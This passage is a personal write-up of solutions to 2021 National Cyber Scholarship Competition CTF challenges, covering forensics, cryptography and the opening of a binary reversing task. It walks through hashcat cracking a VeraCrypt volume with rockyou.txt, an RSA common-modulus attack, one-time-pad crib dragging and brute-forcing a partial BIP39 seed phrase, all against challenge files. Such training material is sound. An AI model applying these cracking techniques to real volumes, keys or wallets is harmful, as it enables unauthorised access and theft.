# HHousen National Cyber Scholarship Competition 2021 Writeup

![National Cyber Scholar with Honors Badge](https://2132305993-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKFHHXVp6l8jy-pk91%2Fsync%2Fbb4f8ddd2aa335a1595537886eeda0236e29aaa9.png?generation=1621385193673030\&alt=media)

Write-ups for various challenges from the 2021 [National Cyber Scholarship Competition](https://www.nationalcyberscholarship.org/). These CTF challenges were used for both [Cyber FastTrack](https://cyber-fasttrack.org/) and the [National Cyber Scholarship Competition](https://www.nationalcyberscholarship.org/) simultaneously.

**For this cybersecurity competition, I was named a** [**National Cyber Scholar with Honors**](https://www.nationalcyberscholarship.org/winners-2021) **and was awarded a $3,000 scholarship.** Scholar with Honors is the highest accolade available through the [NCS Competition](https://www.nationalcyberscholarship.org/high-school-scholarship-competition), and is awarded to the top 30 National Cyber Scholars.

During the competition period, which was held from April 5th, 2021 12:00PM EST to April 7th, 2021 12:00PM EST, I placed **23rd out of 3,277** (**top 0.7%**) with a score of **6,150 points**. I completed **76% of the challenges** and earned **54% of the available points**. Since then, I have solved every challenge and achieved the maximum score of **11,400 points**.

The leaderboard is available here: [National Cyber Scholarship Competition - Spring 2021 Leaderboard](https://leaderboard.tomahawque.com/943e22be-870a-11eb-8e55-636337383761/359e5c0b1998ff3e19014cb3b9239f64/) ([Internet Archive](https://web.archive.org/web/20210409025024/https://leaderboard.tomahawque.com/943e22be-870a-11eb-8e55-636337383761/359e5c0b1998ff3e19014cb3b9239f64/))

![Final Competition Statistics](https://2132305993-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKFHHXVp6l8jy-pk91%2Fsync%2Fa952602ec0864a211714d1e40a24a68397961f6a.png?generation=1619559499060924\&alt=media)


# Forensics


# FE02 - 100pts

## Briefing

> We're sure there's a flag at `cfta-fe02.allyourbases.co` - can you find it?

## Solution

1. The provided domain does not resolve to any server. Therefore, the flag must be somewhere in the DNS records. Note that a second version of the challenge does resolve to an IP address hosting a website.
2. The flag is in a TXT record. It can be found with `dig` like so: `dig TXT cfta-fe02.allyourbases.co` The TXT record has the value `flag=unlimited_free_texts`.
3. A public DNS service can be used instead of `dig` like [Google's public DNS](https://dns.google.com/query?name=cfta-fe02.allyourbases.co\&rr_type=TXT).

### Flag

`unlimited_free_texts`


# FE03 - 100pts

## Briefing

> Download the file and find a way to get the flag from the docker image. Contents: fe03.tar.gz

Challenge Files:

* [fe03.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FE03/fe03.zip)

## Solution

1. Run `tar -xf fe03.tar.gz` to extract the GZIP TAR file. The contents are a docker container.
2. The `c46eb315a38f7abc53c600748ca1bb022b571acb74e5d6d6efe16a79914742bf.json` file lists that one stage of the build script is the following: `{"created":"2021-03-14T14:22:31.349307153Z","created_by":"/bin/sh -c #(nop) ADD file:9ae478ef983cfd7a1762156ecbf2c745eb4f54af8480753e39fcbc4296bc2cdb in /home/secret/flag.txt "}`.
3. We can go though each folder and extract the corresponding `layer.tar` file. Check to see if the path `/home/secret/flag.txt` exists in each extracted `layer.tar` folder. This is faster than writing a script to do it since there are only 14 layers.
4. The flag is in the `20f27a62bd4b6360e6d71ee3b6e3d4e23d27f8316853b5f115134dc496b76921/layer.tar` file. Read the `flag.txt` file to get the flag.

### Flag

`8191-SiMpLeFilESysTemForens1Cs`


# FH01 - 500pts

## Briefing

> Download the file and find a way to get the flag.

Challenge Files:

* [fh01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FH01/fh01.zip)

## Solution

1. Looking through the packet capture file we notice there appear to be files sent on `udp.stream == 2`. I tried extracting these files by saving what `192.168.47.129` sends in `udp.stream == 2` as raw bytes and then using `binwalk`, but `binwalk` only extracted corrupted versions of the files. I tried uses a hex editor to manually save the files from the raw bytes, but this failed for the same reason: some files are "corrupted" because they are missing bytes or have extra bytes.
2. The protocol used for these files is unique as far as I know. `192.168.47.129` sends data to `192.168.47.128` in 626 byte chunks. However, this data is not pure data, which causes the aforementioned problems.
3. The protocol works like this:
   1. `192.168.47.128`: Requests the file `get <filename>`
   2. `192.168.47.129`: Sends the file in segments `<segment id (8 bytes)> <op code (8 bytes)> <data>`
   3. `192.168.47.128`: Acknowledges that segment has been received by sending the segment id back `<segment id (8 bytes)>`
   4. Repeat steps 2 and 3 until the entire file is sent.
4. We can extract the data is a more usable format usign `tshark`: `tshark -r fh01.pcapng -T fields -e data --disable-protocol sigcomp --disable-protocol wg --disable-protocol pathport --disable-protocol dcerpc -Y '(ip.src == 192.168.47.129 && frame.len == 626) || (ip.src == 192.168.47.128 && udp)' > udp_stream_2.dmp`
5. We write a Python [script.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FH01/script.py) to parse through the data and export the files. The [script](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FH01/script.py) loops though the lines of `udp_stream_2.dmp`. If the line starts with the word `get` then a new file is being transferred and the program starts storing each segment with length 4129, which is the hexadecimal equivalent of the 626 byte chunks from wireshark.
6. The flag is in the last file `5.zip`. Extract `5.zip` and open `5.jpg` to get the flag.

### Flag

`C4tch1ng_H0n3y_p0Ts_w1TH_a_Sh4rk!`


# FE04 - 100pts

## Briefing

> Download the file and filter down to the username according to criteria below. The username you are looking for has `x` as the 3rd character, followed immediately by a number from `2` to `6`, it has a `Z` character in it and the last character is `S`. When you have the username, submit it as the flag. Contents: 50k-users.txt

Challenge Files:

* [fe04.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FE04/fe04.zip)

## Solution

1. This is a simple data processing challenge that can be solved with a little Python and a basic regular expression.
2. The regular expression is `..x[2-6].*S$` and can be built and tested easily using [RegExr](https://regexr.com/). The first two dots match any character, next the `x` matches an `x`, `[2-6]` matches a number from 2 to 6 inclusive, a dot again can match any character and the star `*` modifies the dot so that an unlimited number of any character can be matched. Finally, the `S` matches an `S` and the `$` ensures that this marks the end of the string being checked. We will handle the "it has a `Z` character in it" criteria later.
3. We can test every username in the `50k-users.txt` file against the regular expression we built using Python. We compile the regular expression and then use `filter` to test it against every username. We then filter all the matches again by checking if they contain a `Z`, thus fullying applying the challenge criteria. The final matching username is printed and is the flag.

### Flag

`YXx52hsi3ZQ5b9rS`


# FM01 - 250pts

## Briefing

> Download the file and find a way to get the flag. Contents: fm01.jpg

Challenge Files:

* [fm01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FM01/fm01.zip)

## Solution

1. The flag is embedded in the metadata of the image. This can be easily solved by finding strings in `fm01.jpg` and searching for `flag`: `strings fm01.jpg | grep Flag` to find `flag: tr4il3r_p4rk` in the metadata for a Photoshop layer name.
2. Alternatively, simply use `exiftool` to see the flag in a nice layout of the metadata by running `exiftool fm01.jpg`:

   ```
    ...
    History Software Agent          : Adobe Photoshop 22.2 (Windows), Adobe Photoshop 22.2 (Windows)
    History Changed                 : /, /
    Text Layer Name                 : flag: tr4il3r_p4rk
    Text Layer Text                 : flag: tr4il3r_p4rk
    Document Ancestors              : E25BCF5D355B2F2CE5EB55EC6B67C7AF
    Image Width                     : 1920
    ...
   ```

### Flag

`tr4il3r_p4rk`


# FM02 - 250pts

## Briefing

> Download the file and find a way to get the flag. Contents: IRC-cap-vpn.pcapng

Challenge Files:

* [fm02.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FM02/fm02.zip)

## Solution

1. We can open the packet capture file in `wireshark` and apply the `irc` filter since the name of the file mentions irc.
2. Right click and follow the TCP stream to get the following ASCII output:

   ```
    ISON RiotCard85 
    :orwell.freenode.net 303 RandumbHero1 :
    ISON RiotCard85 
    :orwell.freenode.net 303 RandumbHero1 :
    :RiotCard851!~luke@82.102.19.124 PRIVMSG RandumbHero1 :Hey man, How's it going?
    ISON RiotCard85 
    :orwell.freenode.net 303 RandumbHero1 :
    PRIVMSG RiotCard851 :All good, how are you? 
    ISON RiotCard85 
    :orwell.freenode.net 303 RandumbHero1 :
    :RiotCard851!~luke@82.102.19.124 PRIVMSG RandumbHero1 :yeah Doing good, been working on something recently.  Wanna check it out?
    PRIVMSG RiotCard851 :Sure, What is it? 
    ISON RiotCard85 
    :orwell.freenode.net 303 RandumbHero1 :
    :RiotCard851!~luke@82.102.19.124 PRIVMSG RandumbHero1 :See if you can work it out first. I've hidden the flag in it. ;)
    :RiotCard851!~luke@82.102.19.124 PRIVMSG RandumbHero1 :.DCC SEND "Flag.7z" 3232247681 35289 3466.
    ISON RiotCard85 
    :orwell.freenode.net 303 RandumbHero1 :
    :RiotCard851!~luke@82.102.19.124 PRIVMSG RandumbHero1 :here you go! 
    :RiotCard851!~luke@82.102.19.124 PRIVMSG RandumbHero1 :Password on it,  using the trick as usual. 
    PING 1604473558
    ISON RiotCard85 
    :orwell.freenode.net PONG orwell.freenode.net :1604473558
    :orwell.freenode.net 303 RandumbHero1 :
    :RiotCard851!~luke@82.102.19.124 PRIVMSG RandumbHero1 :TWFyaW9SdWxlejE5ODU=
    PING 1604488778
    ISON RiotCard85 
    :orwell.freenode.net PONG orwell.freenode.net :1604488778
    :orwell.freenode.net 303 RandumbHero1 :
    PRIVMSG RiotCard851 :Awesome, I'll go check it out now.
   ```
3. A file called `file.7z` and a password `TWFyaW9SdWxlejE5ODU=` are sent. The password is base64 for `MarioRulez1985`.
4. We can search each TCP stream for the `7z` magic bytes, which are `37 7a bc af 27 1c` according to the [Wikipedia List of File Signatures](https://en.wikipedia.org/wiki/List_of_file_signatures), to find which steam contains the file. `tcp.stream eq 79` contains the flag. We can follow the steam, change the "Show and save data as" option to `Raw`, and then save the content to `file.7z`.
5. Next, we extract `file.7z` using the password we found earlier, `MarioRulez1985`.
6. Finally, run `strings Flag.nes` to get the flag.

### Flag

`NESted_in_a_PCAP`


# FM03 - 250pts

## Briefing

> Download the Veracrypt volume and find a way to get the flag. Contents: dir\_volume

Challenge Files:

* [fm03.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FM03/fm03.zip)

## Solution

1. During the competition, a hint was emailed out that said the file for this challenge is a VeraCrypt encrypted volume since no one had solved the challenge after 24 hours.
2. We can try a brute force approach to decrypt the volume since no other files are provided, such as a memory dump of the system that could contain the password. More information about potential attacks can be found in the [VeraCrypt User Manual](https://www.veracrypt.fr/code/VeraCrypt/plain/src/Release/Setup%20Files/VeraCrypt%20User%20Guide.pdf?id=e6ebc63c665dfd38802f63ad8882f573e66cd208) ([Internet Archive Link](https://web.archive.org/web/20210408232357/https://www.veracrypt.fr/code/VeraCrypt/plain/src/Release/Setup%20Files/VeraCrypt%20User%20Guide.pdf?id=e6ebc63c665dfd38802f63ad8882f573e66cd208)).
3. Brutefocing this volume is possible because the password is early in the [`rockyou.txt` password list](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz). My GTX 1060 Mobile GPU can do about 150 H/s without any configuration changes to `hashcat`.
4. The following modes are available in `hashcat`:

   ```
    137XY | VeraCrypt                                        | Full-Disk Encryption (FDE)
       X  | 1 = PBKDF2-HMAC-RIPEMD160                        | Full-Disk Encryption (FDE)
       X  | 2 = PBKDF2-HMAC-SHA512                           | Full-Disk Encryption (FDE)
       X  | 3 = PBKDF2-HMAC-Whirlpool                        | Full-Disk Encryption (FDE)
       X  | 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode            | Full-Disk Encryption (FDE)
       X  | 5 = PBKDF2-HMAC-SHA256                           | Full-Disk Encryption (FDE)
       X  | 6 = PBKDF2-HMAC-SHA256 + boot-mode               | Full-Disk Encryption (FDE)
       X  | 7 = PBKDF2-HMAC-Streebog-512                     | Full-Disk Encryption (FDE)
        Y | 1 = XTS  512 bit pure AES                        | Full-Disk Encryption (FDE)
        Y | 1 = XTS  512 bit pure Serpent                    | Full-Disk Encryption (FDE)
        Y | 1 = XTS  512 bit pure Twofish                    | Full-Disk Encryption (FDE)
        Y | 1 = XTS  512 bit pure Camellia                   | Full-Disk Encryption (FDE)
        Y | 1 = XTS  512 bit pure Kuznyechik                 | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit pure AES                        | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit pure Serpent                    | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit pure Twofish                    | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit pure Camellia                   | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit pure Kuznyechik                 | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit cascaded AES-Twofish            | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit cascaded Camellia-Kuznyechik    | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit cascaded Camellia-Serpent       | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit cascaded Kuznyechik-AES         | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit cascaded Kuznyechik-Twofish     | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit cascaded Serpent-AES            | Full-Disk Encryption (FDE)
        Y | 2 = XTS 1024 bit cascaded Twofish-Serpent        | Full-Disk Encryption (FDE)
        Y | 3 = XTS 1536 bit all                             | Full-Disk Encryption (FDE)
   ```
5. Let's try mode `13722` since that is the default in VeraCrypt. Starting cracking with: `hashcat -a 0 -m 13722 dir_volume /usr/share/wordlists/rockyou.txt`.

   `hashcat` output:

   ```
    dir_volume:redwings                              

    Session..........: hashcat
    Status...........: Cracked
    Hash.Type........: VeraCrypt PBKDF2-HMAC-SHA512 + XTS 1024 bit
    Hash.Target......: dir_volume
    Time.Started.....: Thu Apr  8 18:43:44 2021 (4 mins, 34 secs)
    Time.Estimated...: Thu Apr  8 18:48:18 2021 (0 secs)
    Guess.Base.......: File (/home/hhhgohn/Downloads/rockyou.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#1.........:      149 H/s (8.48ms) @ Accel:64 Loops:16 Thr:64 Vec:1
    Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
    Progress.........: 40960/14344384 (0.29%)
    Rejected.........: 0/40960 (0.00%)
    Restore.Point....: 0/14344384 (0.00%)
    Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:499984-499999
    Candidates.#1....: 123456 -> loser69
    Hardware.Mon.#1..: Temp: 87c Util:100% Core:1835MHz Mem:3802MHz Bus:16

    Started: Thu Apr  8 18:42:40 2021
    Stopped: Thu Apr  8 18:48:20 2021
   ```

   The password `redwings` is shown in the `hashcat` output.
6. We can mount the volume using VeraCrypt's GUI with password `redwings`. The flag is in `Flag/flag.txt`.

### Flag

`Us3_5tr0ng_P@55w0Rds!`


# FE01 - 100pts

## Briefing

> Download the file and find a way to get the flag. Contents: fe01.ost

Challenge Files:

* [fe01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Forensics/FE01/fe01.zip)

## Solution

1. We can run `file fe01.ost` to determine that `fe01.ost` is a Microsoft Outlook email folder.
2. Searching online for a program that can read this identifies `pffexport`, which can be installed with `sudo apt install pff-tools`.
3. We can extract the content with `pffexport fe01.ost` and `cd` into `fe01.ost.export`.
4. Run `find . -type d -empty -delete` **in `fe01.ost.export`** to delete all empty directories.
5. Searching the folder for `flag` shows that `Root - Mailbox/IPM_SUBTREE/Inbox/Message00018/Attachments` has a ZIP file called `1_flag.zip` (as an attachment to the `Message00018` email) that is password protected.
6. Looking around some more reveals that the calendar contains the key. `Root - Mailbox/IPM_SUBTREE/Calendar/Appointment00001/Appointment.txt` has the name `c]5p@S7K/z}Z!Q - 11am meeting with Chris` so `c]5p@S7K/z}Z!Q` is the password.
7. Extracting the `1_flag.zip` with `c]5p@S7K/z}Z!Q` as the password shows an image `flag.jpg` with the flag in it.

### Flag

`pst_i'm_in_here!`


# Crypto


# CM01 - 250pts

## Briefing

> Download the file and find a way to get the flag. Contents: code.png, frame.png

Challenge Files:

* [cm01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Crypto/CM01/cm01.zip)

## Solution

1. This is a bad solution. You have been warned. I'm sure there are quicker methods than this. You have been warned.
2. We can decode `frame.png` using [ZXing](https://zxing.org/w/decode.jspx) to get `Hey, I've put the flag into the other file using the same trick we always use. You know what to do. :)`.
3. Now, invert the `code.png` file using any method you want (GIMP works great)
4. Next, open the `frame.png` in GIMP and open `code_inverted.png` as a layer. Make sure the `code_inverted.png` layer is on top and set its opacity to 50%. This will reveal a gray QR code.
5. Flatten the layers and then select all the black pixels using the "Select by Color" feature. Use the bucket to fill them with white.
6. We should be able to simply replace all the gray with black and have the QR code, but there are noise pixels. I tried various methods to remove them, but I ended up using the pen tool to draw over all the entire QR code. After that, I selected the black pixels using the magic wand, inverted the selection, and filled the selection with white.
7. Finally, save the image as `answer.png` and decode it using [ZXing](https://zxing.org/w/decode.jspx) to get `FLAG: A_Code_For_A_Code`

### Flag

`A_Code_For_A_Code`


# CM02 - 250pts

## Briefing

> Download the file and find a way to get the flag. Contents: cm02.txt

Challenge Files:

* [cm02.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Crypto/CM02/cm02.zip)

## Solution

1. There are several methods for encoding text as emojis:
   1. A common one is to simply offset the alphabet by some unicode value so each letter maps to an emoji. This can be detected because the difference between the maximum and minimum unicode values in the supplied string will be 26, or another number (like 34 for ascii lowercase and digits) that makes sense for the alphabet the flag could be using.
   2. Another method is to simply use the last byte of the unicode value as the ascii letter.
   3. Finally, the approach used for this challenge is a substitution cipher.
2. This is a substitution cipher because there are 26 unique emojis. We can use a Python [script.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Crypto/CM02/script.py) to map each emoji to a letter in the alphabet and then replace each emoji with its assigned letter. The output of [script.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Crypto/CM02/script.py) is in [substitution\_cipher.txt](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Crypto/CM02/substitution_cipher.txt).
3. Now that we have transformed the input, we can use a normal substitution solver such as [quipqiup](https://www.quipqiup.com/), [guballa](https://www.guballa.de/substitution-solver), or [Boxentriq](https://www.boxentriq.com/code-breaking/cryptogram) to get the key for the substitution cipher.
4. [guballa](https://www.guballa.de/substitution-solver) finds the key to be `psndvylqigjfzcerhoumxtwakb` and prints the decoded message. This section corresponds to the flag text: `yfpl: yovhxvcmfk_uxsumimxmv_yoewck_ypnv_yeo_uzifvk_ypnv`. It decodes to `flag: frequently_substitute_frowny_face_for_smiley_face`

### Flag

`frequently_substitute_frowny_face_for_smiley_face`


# CX01 - 1000pts

## Briefing

> Complete the missing BIP39 mnemonic seed phrase and get address 3 at BIP32 derivation path m/0'/0 as the flag. `nature midnight buzz toe sleep fence kiwi ivory excuse system ____ ______`. You will need to make use of this, as the start of the 128 char BIP39 seed: `131c553f7fb4127e7b2b346991dd92`

## Solution

1. BIP stands for Bitcoin Improvement Protocol. BIP39 "describes the implementation of a mnemonic code or mnemonic sentence -- a group of easy to remember words -- for the generation of deterministic wallets" ([Source](https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki)).
2. We can download the list of all possible BIP39 words from <https://raw.githubusercontent.com/bitcoin/bips/master/bip-0039/english.txt>. We can install `bip-utils` by running `pip install bip-utils` and then write a Python [script](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Crypto/CX01/script.py) to try every possible combination of words.
3. The [script.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Crypto/CX01/script.py) opens the list of possible words and creates two lists: one of words with length 4 and the other with words of length 6, since that is the number of underscores in the seed phrase provided in the challenge briefing. After that we use a nested loop structure to try every possible word combination. For each combination, we make sure the mnemonic is valid and if it is we generate the seed. Next, we verify that the seed starts with the hexadecimal string provided in the challenge briefing. If both checks pass then we print the discovered mnemonic. The full mnemonic is `nature midnight buzz toe sleep fence kiwi ivory excuse system exit filter`
4. Finally, we need "address 3 at BIP32 derivation path m/0'/0". This [Ethereum StackExchange answer](https://ethereum.stackexchange.com/a/70029) explains what derivation paths are. Searching online for "bip39 mnemonic" finds <https://iancoleman.io/bip39/>, which lets us paste in our mnemonic and look at the derivation paths. Switching to "BIP32" under "Derivation Path" we can enter `m/0'/0` in "BIP32 Derivation Path" and scroll down to see the addresses. Address 3 under `m/0'/0` is `1BvBytaskgTZkJEEUEkBxv6kDWbAKabnmK`, which is the flag.

### Flag

`1BvBytaskgTZkJEEUEkBxv6kDWbAKabnmK`


# CH01 - 500pts

## Briefing

> Download the files and find a way to retrieve the encrypted data. Contents: 1.pub, 2.pub, m1.enc, m2.enc

Challenge Files:

* [ch01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Crypto/CH01/ch01.zip)

## Solution

1. Searching for "rsa two messages different exponents" finds [this Crypto StackExchange answer](https://crypto.stackexchange.com/a/62042) which links to [this other Crypto StackExchange answer](https://crypto.stackexchange.com/a/16285) which mentions a "common modulus attack."
2. [Mathematical Attacks on RSA Cryptosystem](https://thescipub.com/pdf/jcssp.2006.665.671.pdf) states: "A Common Modulus attack can be used to recover the plaintext when the same message is encrypted to two RSA keys that use the same modulus. This algorithm works if and only if message sends with the same modulus and relatively prime encryption exponents." You can learn more by reading this article [RSA Attacks: Common Modulus](https://infosecwriteups.com/rsa-attacks-common-modulus-7bdb34f331a5).
3. Searching for a Python script to conduct this attack finds [HexPandaa/RSA-Common-Modulus-Attack](https://github.com/HexPandaa/RSA-Common-Modulus-Attack).
4. We can run this tool using `python3 rsa-cm.py -c1 ch01/m1.enc -c2 ch01/m2.enc -k1 ch01/1.pub -k2 ch01/2.pub` to get the flag: `Flag: shaRinGisCaRinG-010`.

### Flag

`shaRinGisCaRinG-010`


# CH02 - 500pts

## Briefing

> Below are 4 messages, 2 of them are insecure... find the flag! `2e310d15730618003c27392502592f1b016e1b1c364505191302` `27271e1d6f3935381618340a740404152d0063160106490a0a050d013d2e` `313c0d45350d0c026f3d236b361120191e373c1c3a080e0c2b04` `1b060c2749020b354105271616532f27772f1c204811111745320b10021717`

## Solution

1. First, we guess that the cipher being used is a [one-time pad](https://en.wikipedia.org/wiki/One-time_pad) since two of the hexadecimal strings are the same length.
2. So we have cipher text one `2e310d15730618003c27392502592f1b016e1b1c364505191302` and cipher text two `313c0d45350d0c026f3d236b361120191e373c1c3a080e0c2b04` that were both encrypted using the same one-time pad key. If the key for a one-time pad is used twice, it can be broken using [crib dragging](https://samwho.dev/blog/toying-with-cryptography-crib-dragging/).
3. Basically, XORing the cipher texts gives you the same result as XORing the original messages. The math works out as follows (from [this crib dragging article](https://samwho.dev/blog/toying-with-cryptography-crib-dragging/)):

   ```
    cipher1 = msg1 ^ key
    cipher2 = msg2 ^ key
    cipher1 ^ cipher2 = (msg1 ^ key) ^ (msg2 ^ key)
    cipher1 ^ cipher2 = msg1 ^ msg2 ^ key ^ key
    cipher1 ^ cipher2 = msg1 ^ msg2 ^ 0
    cipher1 ^ cipher2 = msg1 ^ msg2
   ```

   This is useful because XORing the two cipher texts removes the key from the problem.
4. We can XOR the two cipher texts using \[CyberChef (click for recipe)]\(<https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'313c0d45350d0c026f3d236b361120191e373c1c3a080e0c2b04'%7D,'Standard',false)To_Hex('None',0)&input=MmUzMTBkMTU3MzA2MTgwMDNjMjczOTI1MDI1OTJmMWIwMTZlMWIxYzM2NDUwNTE5MTMwMg>) to get `1f0d0050460b1402531a1a4e34480f021f5927000c4d0b153806`. This hexadecimal string is equal to the two messages XORed together. Therefore, we can start guessing parts of a message to decode both cipher texts and get the flag. [SpiderLabs/cribdrag](https://github.com/SpiderLabs/cribdrag) makes this easy.
5. `python2 cribdrag.py 1f0d0050460b1402531a1a4e34480f021f5927000c4d0b153806`:

   ```
    Your message is currently:
    0    __________________________
    Your key is currently:
    0    __________________________
    Please enter your crib: flag
    *** 0: "yaa7"
    *** 1: "kl1!"
    2: "f<'l"
    3: "6*js"
    *** 4: " gue"
    *** 5: "mxc4"
    6: "rn2}"
    7: "d?{}"
    8: "5v{)"
    9: "|v/S"
    10: "|"U/"
    11: "(X)h"
    12: "R$ne"
    *** 13: ".ccx"
    14: "in~>"
    15: "ds8@"
    *** 16: "y5Fg"
    *** 17: "?Kak"
    18: "Alm*"
    19: "f`,l"
    *** 20: "j!jr"
    21: "+gt_"
    *** 22: "myYa"
    Enter the correct position, 'none' for no match, or 'end' to quit: 4
    Is this crib part of the message or key? Please enter 'message' or 'key': message
    Your message is currently:
    0    ____flag__________________
    Your key is currently:
    0    ____ gue__________________
    Please enter your crib: the 
    *** 0: "keep"
    *** 1: "yh5f"
    2: "t8#+"
    3: "$.n4"
    *** 4: "2cq""
    5: "|gs"
    6: "`j6:"
    7: "v;:"
    8: "'rn"
    9: "nr+"
    10: "n&Qh"
    11: ":\-/"
    12: "@ j""
    13: "<gg?"
    14: "{jzy"
    15: "vw<"
    *** 16: "k1B "
    17: "-Oe,"
    *** 18: "Shim"
    19: "td(+"
    20: "x%n5"
    21: "9cp"
    22: "}]&"
    Enter the correct position, 'none' for no match, or 'end' to quit: 0
    Is this crib part of the message or key? Please enter 'message' or 'key': message
    Your message is currently:
    0    the flag__________________
    Your key is currently:
    0    keep gue__________________
    Please enter your crib:  is        
    *** 0: "?dsp"
    1: "-i#f"
    2: " 95+"
    3: "p/x4"
    *** 4: "fbg""
    5: "+}qs"
    *** 6: "4k :"
    *** 7: "":i:"
    *** 8: "ssin"
    9: ":s="
    *** 10: ":'Gh"
    11: "n];/"
    12: "!|""
    *** 13: "hfq?"
    14: "/kly"
    15: ""v*"
    *** 16: "?0T "
    *** 17: "yNs,"
    18: "im"
    19: " e>+"
    20: ",$x5"
    21: "mbf"
    22: "+|K&"
    Enter the correct position, 'none' for no match, or 'end' to quit: 8
    Is this crib part of the message or key? Please enter 'message' or 'key': message
    Your message is currently:
    0    the flag is ______________
    Your key is currently:
    0    keep guessin______________
    Please enter your crib: g for
    0: "x-f?4"
    1: "j 6)y"
    *** 2: "gp df"
    3: "7fm{p"
    4: "!+rm!"
    5: "l4d<h"
    *** 6: "s"5uh"
    7: "es|u<"
    8: "4:|!F"
    9: "}:([:"
    10: "}nR'}"
    11: ").`p"
    *** 12: "Shimm"
    13: "//dp+"
    *** 14: "h"y6U"
    *** 15: "e??Hr"
    16: "xyAo~"
    17: ">fc?"
    18: "@ j"y"
    19: "g,+dg"
    *** 20: "kmmzJ"
    21: "*+sWt"
    Enter the correct position, 'none' for no match, or 'end' to quit: 12
    Is this crib part of the message or key? Please enter 'message' or 'key': key
    Your message is currently:
    0    the flag is Shimm_________
    Your key is currently:
    0    keep guessing for_________
    Please enter your crib: the flag
    *** 0: "keep gue"
    *** 1: "yh5fmxc4"
    2: "t8#+rn2}"
    3: "$.n4d?{}"
    4: "2cq"5v{)"
    5: "|gs|v/S"
    6: "`j6:|"U/"
    7: "v;:(X)h"
    8: "'rnR$ne"
    9: "nr+.ccx"
    10: "n&Qhin~>"
    11: ":\-/ds8@"
    12: "@ j"y5Fg"
    13: "<gg??Kak"
    14: "{jzyAlm*"
    15: "vw<f`,l"
    *** 16: "k1B j!jr"
    17: "-Oe,+gt_"
    *** 18: "ShimmyYa"
    Enter the correct position, 'none' for no match, or 'end' to quit: 18
    Is this crib part of the message or key? Please enter 'message' or 'key': key
    Your message is currently:
    0    the flag is Shimm_ShimmyYa
    Your key is currently:
    0    keep guessing for_the flag
    Please enter your crib: for the flag
    0: "ybrp2cq"5v{)"
    1: "ko"f|gs|v/S"
    2: "f?4+`j6:|"U/"
    3: "6)y4v;:(X)h"
    4: " df"'rnR$ne"
    5: "m{psnr+.ccx"
    6: "rm!:n&Qhin~>"
    7: "d<h::\-/ds8@"
    8: "5uhn@ j"y5Fg"
    9: "|u<<gg??Kak"
    10: "|!Fh{jzyAlm*"
    11: "([:/vw<f`,l"
    12: "R'}"k1B j!jr"
    13: ".`p?-Oe,+gt_"
    *** 14: "immyShimmyYa"
    Enter the correct position, 'none' for no match, or 'end' to quit: 14
    Is this crib part of the message or key? Please enter 'message' or 'key': key
    Your message is currently:
    0    the flag is ShimmyShimmyYa
    Your key is currently:
    0    keep guessing for the flag
   ```

### Flag

`ShimmyShimmyYa`


# Binary


# BM01 - 250pts

## Briefing

> Download the file and find a way to get the flag. Contents: program

Challenge Files:

* [bm01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BM01/bm01.zip)

## Solution

1. Running the program shows strange text. We can paste this into Google Translate to find that it is Russian. `Какой пароль？` translates to `What password?`. Entering some input produces `неверный`, which translates to `incorrect`.
2. Let's decompile the binary using Ghidra.

   `main` function:

   ```cpp
    undefined8 main(void)

    {
        byte bVar1;
        byte bVar2;
        int iVar3;
        long in_FS_OFFSET;
        uint local_74;
        byte local_67 [15];
        char local_58 [72];
        long local_10;

